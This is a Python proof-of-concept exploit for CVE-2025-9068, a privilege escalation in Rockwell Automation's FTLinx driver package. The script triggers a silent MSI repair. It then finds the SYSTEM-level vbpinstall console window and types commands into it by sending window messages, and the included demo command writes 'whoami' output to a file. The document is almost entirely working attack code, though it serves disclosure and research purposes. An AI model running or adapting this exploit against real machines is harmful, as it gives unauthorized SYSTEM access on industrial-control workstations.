CVE-2025-9068

# CVE-2025-9068 - Rockwell Automation FTLinx MSI Repair Privilege Escalation PoC # This PoC demonstrates the concept of hijacking the SYSTEM-level console window # during the MSI repair operation of Rockwell Automation Driver Package x64. import subprocess import ctypes import time import win32gui import win32con import win32process import win32api def find_vbpinstall_window(): """Find the vbpinstall.exe console window""" def callback(hwnd, hwnds): if win32gui.IsWindowVisible(hwnd): title = win32gui.GetWindowText(hwnd) if 'vbpinstall' in title.lower() or 'vbp' in title.lower(): hwnds.append(hwnd) return True hwnds = [] win32gui.EnumWindows(callback, hwnds) return hwnds def trigger_msi_repair(): """Trigger the MSI repair operation for Rockwell Automation Driver Package""" # Find the Rockwell Automation Driver Package MSI product code # The product GUID varies by installation product_code = "{ROCKWELL-DRIVER-PACKAGE-GUID}" # Execute MSI repair with user-triggerable flag cmd = f'msiexec /fa "{product_code}" /qn' subprocess.Popen(cmd, shell=True) print(f"[*] Triggered MSI repair: {cmd}") def hijack_console(hwnd): """Hijack the SYSTEM-level console window and execute commands""" # Get the process ID of the SYSTEM-level process _, pid = win32process.GetWindowThreadProcessId(hwnd) print(f"[*] Found vbpinstall.exe window (PID: {pid})") # Bring window to foreground win32gui.SetForegroundWindow(hwnd) win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) # Send command to the hijacked console # The command runs with SYSTEM privileges command = "cmd.exe /c whoami > C:\\temp\\system_proof.txt\r\n" for char in command: win32api.SendMessage(hwnd, win32con.WM_CHAR, ord(char), 0) time.sleep(0.01) print("[+] Console hijacked - command executed with SYSTEM privileges") def main(): print("=" * 60) print("CVE-2025-9068 - Rockwell Automation Privilege Escalation PoC") print("=" * 60) # Step 1: Trigger the MSI repair trigger_msi_repair() # Step 2: Wait for vbpinstall.exe to start print("[*] Waiting for vbpinstall.exe to launch...") time.sleep(5) # Step 3: Find and hijack the console window windows = find_vbpinstall_window() if windows: hijack_console(windows[0]) else: print("[-] Could not find vbpinstall.exe window") if __name__ == "__main__": main()

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